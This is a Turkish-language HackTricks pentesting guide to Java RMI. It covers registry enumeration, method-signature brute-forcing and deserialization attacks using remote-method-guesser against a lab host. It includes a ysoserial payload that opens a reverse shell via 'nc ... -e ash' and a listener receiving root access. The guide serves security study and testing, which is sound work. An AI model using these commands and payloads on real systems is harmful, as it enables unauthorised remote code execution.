19 KiB
1098/1099/1050 - Pentesting Java RMI - RMI-IIOP
AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!
HackTricks'ı desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamını görmek istiyorsanız veya HackTricks'i PDF olarak indirmek istiyorsanız [ABONELİK PLANLARI]'na göz atın (https://github.com/sponsors/carlospolop)!
- Resmi PEASS & HackTricks ürünlerini edinin
- The PEASS Family'yi keşfedin, özel NFT'lerimiz koleksiyonumuz
- Katılın 💬 Discord grubuna veya telegram grubuna veya bizi Twitter 🐦 @carlospolopm'da takip edin.
- Hacking püf noktalarınızı paylaşarak PR'ler göndererek HackTricks ve HackTricks Cloud github depolarına katkıda bulunun.
Trickest'i kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen iş akışlarını kolayca oluşturun ve otomatikleştirin.
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Temel Bilgiler
Java Uzak Yöntem Çağrısı, veya Java RMI, bir nesne odaklı RPC mekanizmasıdır ve bir Java sanal makinesinde bulunan bir nesnenin başka bir Java sanal makinesinde bulunan bir nesnedeki yöntemleri çağırmasına izin verir. Bu, geliştiricilere nesne odaklı bir paradigma kullanarak dağıtılmış uygulamalar yazma imkanı sağlar. Java RMI hakkında saldırgan bir bakış açısından kısa bir tanıtım bu blackhat sunumunda bulunabilir.
Varsayılan port: 1090,1098,1099,1199,4443-4446,8999-9010,9999
PORT STATE SERVICE VERSION
1090/tcp open ssl/java-rmi Java RMI
9010/tcp open java-rmi Java RMI
37471/tcp open java-rmi Java RMI
40259/tcp open ssl/java-rmi Java RMI
Genellikle, yalnızca varsayılan Java RMI bileşenleri (RMI Registry ve Activation System) ortak bağlantı noktalarına bağlanır. Gerçek RMI uygulamasını uygulayan uzak nesneler genellikle yukarıdaki çıktıda gösterildiği gibi rastgele bağlantı noktalarına bağlanır.
nmap bazen SSL korumalı RMI hizmetlerini tanımlamakta zorluk çeker. Ortak bir RMI bağlantı noktasında bilinmeyen bir ssl hizmetiyle karşılaşırsanız, daha fazla araştırma yapmalısınız.
RMI Bileşenleri
Basit bir ifadeyle, Java RMI bir geliştiricinin bir Java nesnesini ağda kullanılabilir hale getirmesine olanak tanır. Bu, istemcilerin bağlanabileceği ve karşılık gelen nesnede yöntemler çağırabileceği bir TCP bağlantı noktası açar. Bu basit gibi görünse de, Java RMI nin çözmesi gereken birkaç zorluk vardır:
- Bir yöntem çağrısını Java RMI aracılığıyla yönlendirmek için, istemcilerin hedef nesnenin IP adresini, dinleme bağlantı noktasını, uygulanan sınıfı veya arabirimini ve hedef nesnenin
ObjID
değerini (ObjID
, nesne ağda kullanılabilir hale getirildiğinde oluşturulan benzersiz ve rastgele bir tanımlayıcıdır. Java RMI, aynı TCP bağlantı noktasında birden fazla nesnenin dinlemesine izin verir çünkü gereklidir). - Uzak istemciler, açığa çıkarılan nesnede yöntemleri çağırarak sunucuda kaynaklar ayırabilir. Java sanal makinesi, bu kaynakların hangisinin hala kullanımda olduğunu ve hangilerinin çöp toplanabileceğini takip etmelidir.
İlk zorluk, temelde bir Java RMI için bir isimlendirme hizmeti olan RMI registry ile çözülür. RMI registry kendisi aynı zamanda bir RMI hizmeti olmasına rağmen, uygulanan arabirim ve ObjID
sabit ve tüm RMI istemcileri tarafından bilinir. Bu, RMI istemcilerinin ilgili TCP bağlantı noktasını bilerek RMI kaydını tüketmelerine olanak tanır.
Geliştiriciler, Java nesnelerini ağda kullanılabilir hale getirmek istediklerinde genellikle onları bir RMI registry e bağlarlar. Registry, nesneye bağlanmak için gereken tüm bilgileri depolar (IP adresi, dinleme bağlantı noktası, uygulanan sınıf veya arabirim ve ObjID
değeri) ve bunu insan tarafından okunabilir bir isim altında (bağlı isim) kullanılabilir hale getirir. RMI hizmetini tüketmek isteyen istemciler, RMI registry den ilgili bağlı ismi ve kayıt, bağlantı için gerekli tüm bilgileri isteyebilir. Dolayısıyla, durum temelde normal bir DNS hizmetiyle aynıdır. Aşağıdaki liste küçük bir örneği göstermektedir:
import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;
import lab.example.rmi.interfaces.RemoteService;
public class ExampleClient {
private static final String remoteHost = "172.17.0.2";
private static final String boundName = "remote-service";
public static void main(String[] args)
{
try {
Registry registry = LocateRegistry.getRegistry(remoteHost); // Connect to the RMI registry
RemoteService ref = (RemoteService)registry.lookup(boundName); // Lookup the desired bound name
String response = ref.remoteMethod(); // Call a remote method
} catch( Exception e) {
e.printStackTrace();
}
}
}
Yukarıda bahsedilen zorluklardan ikincisi Dağıtılmış Çöp Toplayıcı (DGC) tarafından çözülür. Bu, bilinen bir ObjID
değerine sahip başka bir RMI servisi ve temelde her RMI uç noktasında mevcuttur. Bir RMI istemcisi bir RMI servisini kullanmaya başladığında, ilgili uzak nesnenin kullanımda olduğuna dair bir bilgiyi DGC'ye gönderir. DGC, referans sayısını takip edebilir ve kullanılmayan nesneleri temizleyebilir.
Eskimiş Etkinleştirme Sistemi ile birlikte, bunlar Java RMI'ın üç varsayılan bileşenidir:
- RMI Kayıt Defteri (
ObjID = 0
) - Etkinleştirme Sistemi (
ObjID = 1
) - Dağıtılmış Çöp Toplayıcı (
ObjID = 2
)
Java RMI'ın varsayılan bileşenleri uzun süredir bilinen saldırı vektörleri olmuştur ve eski Java sürümlerinde birden fazla zayıflık bulunmaktadır. Bir saldırgan bakış açısından, bu varsayılan bileşenler ilginçtir, çünkü bilinen sınıflar / arabirimler uygulanmıştır ve bunlarla etkileşim kurmak kolaydır. Bu durum özel RMI servisleri için farklıdır. Bir uzak nesne üzerinde bir yöntem çağırmak için, ilgili yöntem imzasını önceden bilmelisiniz. Var olan bir yöntem imzasını bilmeden, bir RMI servisiyle iletişim kurmanın bir yolu yoktur.
RMI Numaralandırma
remote-method-guesser, otomatik olarak yaygın RMI zayıflıklarını tanımlayabilen bir Java RMI zayıflık tarayıcısıdır. Bir RMI uç noktası tanımladığınızda, denemelisiniz:
$ rmg enum 172.17.0.2 9010
[+] RMI registry bound names:
[+]
[+] - plain-server2
[+] --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
[+] Endpoint: iinsecure.dev:37471 TLS: no ObjID: [55ff5a5d:17e0501b054:-7ff7, 3638117546492248534]
[+] - legacy-service
[+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)
[+] Endpoint: iinsecure.dev:37471 TLS: no ObjID: [55ff5a5d:17e0501b054:-7ffc, 708796783031663206]
[+] - plain-server
[+] --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
[+] Endpoint: iinsecure.dev:37471 TLS: no ObjID: [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
[+]
[+] RMI server codebase enumeration:
[+]
[+] - http://iinsecure.dev/well-hidden-development-folder/
[+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub
[+] --> de.qtc.rmg.server.interfaces.IPlainServer
[+]
[+] RMI server String unmarshalling enumeration:
[+]
[+] - Caught ClassNotFoundException during lookup call.
[+] --> The type java.lang.String is unmarshalled via readObject().
[+] Configuration Status: Outdated
[+]
[+] RMI server useCodebaseOnly enumeration:
[+]
[+] - Caught MalformedURLException during lookup call.
[+] --> The server attempted to parse the provided codebase (useCodebaseOnly=false).
[+] Configuration Status: Non Default
[+]
[+] RMI registry localhost bypass enumeration (CVE-2019-2684):
[+]
[+] - Caught NotBoundException during unbind call (unbind was accepeted).
[+] Vulnerability Status: Vulnerable
[+]
[+] RMI Security Manager enumeration:
[+]
[+] - Security Manager rejected access to the class loader.
[+] --> The server does use a Security Manager.
[+] Configuration Status: Current Default
[+]
[+] RMI server JEP290 enumeration:
[+]
[+] - DGC rejected deserialization of java.util.HashMap (JEP290 is installed).
[+] Vulnerability Status: Non Vulnerable
[+]
[+] RMI registry JEP290 bypass enmeration:
[+]
[+] - Caught IllegalArgumentException after sending An Trinh gadget.
[+] Vulnerability Status: Vulnerable
[+]
[+] RMI ActivationSystem enumeration:
[+]
[+] - Caught IllegalArgumentException during activate call (activator is present).
[+] --> Deserialization allowed - Vulnerability Status: Vulnerable
[+] --> Client codebase enabled - Configuration Status: Non Default
Enumeration eyleminin çıktısı projenin belgelendirme sayfalarında daha detaylı olarak açıklanmaktadır. Sonuca bağlı olarak tanımlanan zafiyetleri doğrulamaya çalışmalısınız.
remote-method-guesser tarafından gösterilen ObjID
değerleri hizmetin çalışma süresini belirlemek için kullanılabilir. Bu, diğer zafiyetleri tanımlamaya olanak tanır:
$ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
[+] Details for ObjID [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
[+]
[+] ObjNum: -4004948013687638236
[+] UID:
[+] Unique: 1442798173
[+] Time: 1640761503828 (Dec 29,2021 08:05)
[+] Count: -32760
Uzak Metotları Kaba Kuvvet Yöntemiyle Deneme
Tarama sırasında herhangi bir zayıflık tespit edilmemiş olsa bile, mevcut RMI hizmetleri hala tehlikeli fonksiyonları ortaya çıkarabilir. Ayrıca, RMI varsayılan bileşenlerine yapılan RMI iletişimi, özel RMI hizmetleriyle iletişim kurulduğunda genellikle bu tür filtrelerin bulunmadığı için korunmamaktadır. Dolayısıyla, RMI hizmetlerinde geçerli metod imzalarını bilmek değerlidir.
Ne yazık ki, Java RMI, uzak nesnelerde metodları sıralamayı desteklemez. Bununla birlikte, remote-method-guesser veya rmiscout gibi araçlarla metod imzalarını kaba kuvvet yöntemiyle denemek mümkündür:
$ rmg guess 172.17.0.2 9010
[+] Reading method candidates from internal wordlist rmg.txt
[+] 752 methods were successfully parsed.
[+] Reading method candidates from internal wordlist rmiscout.txt
[+] 2550 methods were successfully parsed.
[+]
[+] Starting Method Guessing on 3281 method signature(s).
[+]
[+] MethodGuesser is running:
[+] --------------------------------
[+] [ plain-server2 ] HIT! Method with signature String execute(String dummy) exists!
[+] [ plain-server2 ] HIT! Method with signature String system(String dummy, String[] dummy2) exists!
[+] [ legacy-service ] HIT! Method with signature void logMessage(int dummy1, String dummy2) exists!
[+] [ legacy-service ] HIT! Method with signature void releaseRecord(int recordID, String tableName, Integer remoteHashCode) exists!
[+] [ legacy-service ] HIT! Method with signature String login(java.util.HashMap dummy1) exists!
[+] [6562 / 6562] [#####################################] 100%
[+] done.
[+]
[+] Listing successfully guessed methods:
[+]
[+] - plain-server2 == plain-server
[+] --> String execute(String dummy)
[+] --> String system(String dummy, String[] dummy2)
[+] - legacy-service
[+] --> void logMessage(int dummy1, String dummy2)
[+] --> void releaseRecord(int recordID, String tableName, Integer remoteHashCode)
[+] --> String login(java.util.HashMap dummy1)
Belirlenen yöntemler şu şekilde çağrılabilir:
$ rmg call 172.17.0.2 9010 '"id"' --bound-name plain-server --signature "String execute(String dummy)" --plugin GenericPrint.jar
[+] uid=0(root) gid=0(root) groups=0(root)
Ya da şu şekilde deserializasyon saldırıları gerçekleştirebilirsiniz:
$ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --bound-name plain-server --signature "String execute(String dummy)"
[+] Creating ysoserial payload... done.
[+]
[+] Attempting deserialization attack on RMI endpoint...
[+]
[+] Using non primitive argument type java.lang.String on position 0
[+] Specified method signature is String execute(String dummy)
[+]
[+] Caught ClassNotFoundException during deserialization attack.
[+] Server attempted to deserialize canary class 6ac727def61a4800a09987c24352d7ea.
[+] Deserialization attack probably worked :)
$ nc -vlp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:45479.
id
uid=0(root) gid=0(root) groups=0(root)
Daha fazla bilgi şu makalelerde bulunabilir:
Tahmin etmenin yanı sıra, karşılaşılan bir RMI servisinin arayüzünü veya hatta uygulamasını aramak için arama motorlarına veya GitHub üzerinde de bakmalısınız. Bound name ve uygulanan sınıfın veya arayüzün adı burada yardımcı olabilir.
Bilinen Arayüzler
remote-method-guesser, sınıfları veya arayüzleri, bilinen RMI servisleri veritabanında listelenmişse known
olarak işaretler. Bu durumlarda, ilgili RMI servisi hakkında daha fazla bilgi almak için known
eylemini kullanabilirsiniz:
$ rmg enum 172.17.0.2 1090 | head -n 5
[+] RMI registry bound names:
[+]
[+] - jmxrmi
[+] --> javax.management.remote.rmi.RMIServerImpl_Stub (known class: JMX Server)
[+] Endpoint: localhost:41695 TLS: no ObjID: [7e384a4f:17e0546f16f:-7ffe, -553451807350957585]
$ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
[+] Name:
[+] JMX Server
[+]
[+] Class Name:
[+] - javax.management.remote.rmi.RMIServerImpl_Stub
[+] - javax.management.remote.rmi.RMIServer
[+]
[+] Description:
[+] Java Management Extensions (JMX) can be used to monitor and manage a running Java virtual machine.
[+] This remote object is the entrypoint for initiating a JMX connection. Clients call the newClient
[+] method usually passing a HashMap that contains connection options (e.g. credentials). The return
[+] value (RMIConnection object) is another remote object that is when used to perform JMX related
[+] actions. JMX uses the randomly assigned ObjID of the RMIConnection object as a session id.
[+]
[+] Remote Methods:
[+] - String getVersion()
[+] - javax.management.remote.rmi.RMIConnection newClient(Object params)
[+]
[+] References:
[+] - https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html
[+] - https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi
[+]
[+] Vulnerabilities:
[+]
[+] -----------------------------------
[+] Name:
[+] MLet
[+]
[+] Description:
[+] MLet is the name of an MBean that is usually available on JMX servers. It can be used to load
[+] other MBeans dynamically from user specified codebase locations (URLs). Access to the MLet MBean
[+] is therefore most of the time equivalent to remote code execution.
[+]
[+] References:
[+] - https://github.com/qtc-de/beanshooter
[+]
[+] -----------------------------------
[+] Name:
[+] Deserialization
[+]
[+] Description:
[+] Before CVE-2016-3427 got resolved, JMX accepted arbitrary objects during a call to the newClient
[+] method, resulting in insecure deserialization of untrusted objects. Despite being fixed, the
[+] actual JMX communication using the RMIConnection object is not filtered. Therefore, if you can
[+] establish a working JMX connection, you can also perform deserialization attacks.
[+]
[+] References:
[+] - https://github.com/qtc-de/beanshooter
Shodan
port:1099 java
Araçlar
Referanslar
HackTricks Otomatik Komutları
Protocol_Name: Java RMI #Protocol Abbreviation if there is one.
Port_Number: 1090,1098,1099,1199,4443-4446,8999-9010,9999 #Comma separated if there is more than one.
Protocol_Description: Java Remote Method Invocation #Protocol Abbreviation Spelled out
Entry_1:
Name: Enumeration
Description: Perform basic enumeration of an RMI service
Command: rmg enum {IP} {PORT}
Trickest kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen iş akışlarını kolayca oluşturun ve otomatikleştirin.
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Sıfırdan kahramana kadar AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)!
HackTricks'ı desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamını görmek istiyorsanız veya HackTricks'i PDF olarak indirmek istiyorsanız ABONELİK PLANLARINI kontrol edin!
- Resmi PEASS & HackTricks ürünlerini alın
- The PEASS Family'yi keşfedin, özel NFT'lerimiz koleksiyonumuz
- 💬 Discord grubuna veya telegram grubuna katılın veya bizi Twitter 🐦 @carlospolopm takip edin.**
- Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud github depolarına PR'lar gönderin.